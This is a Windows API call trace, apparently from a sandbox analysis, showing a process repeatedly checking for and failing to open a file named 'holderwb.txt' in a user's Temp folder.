	[0099.781] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.782] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.782] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.782] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.782] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.782] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.782] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.783] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.783] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.783] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.783] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.784] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.784] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.784] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.784] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.785] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.785] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.785] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.785] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.785] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.785] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.786] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.787] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.787] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.787] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.788] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.788] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.788] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.788] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.789] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.789] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.789] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.790] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.790] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.791] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.791] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.791] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.792] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.794] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.795] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.795] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.795] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.796] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.796] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.796] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.797] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.798] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.798] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.798] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.798] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.799] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.799] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.799] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.800] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.800] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.800] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.800] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.801] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.802] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.802] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.802] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.802] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.803] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.803] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.803] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.804] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
